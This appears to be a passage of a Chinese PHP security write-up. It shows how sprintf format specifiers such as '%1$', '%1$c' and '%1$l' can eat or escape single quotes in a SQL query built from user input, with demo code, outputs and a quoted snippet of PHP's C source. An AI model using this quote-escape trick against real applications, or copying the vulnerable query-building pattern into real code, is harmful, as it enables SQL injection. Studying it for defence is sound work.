$sql = "select * from user where username = '%1$' and password='%s';";
$args = "3925" ;
echo sprintf ($sql , $args) ;
/*
select * from user where username = 'nd password='3925';
*/
逃逸ascii字符
<?php
$sql = "select * from user where username = '%1\$c' and password='%s';";
$args = "3925" ;
echo sprintf ($sql , $args) ;
这里格式化3925的结果为85(U)的原因如下图:
扩展
在533-536存在对字符l
的判断,允许我们逃逸单引号的情况下保持字符串完整。
if (*format == 'l') {
format++;
format_len--;
}
测试demo
<?php
$sql = "select * from user where username = '%1\$l' and password='%s';";
$args = "3925" ;
echo sprintf ($sql , $args) ;
/*
select * from user where username = ' and password='3925';
*/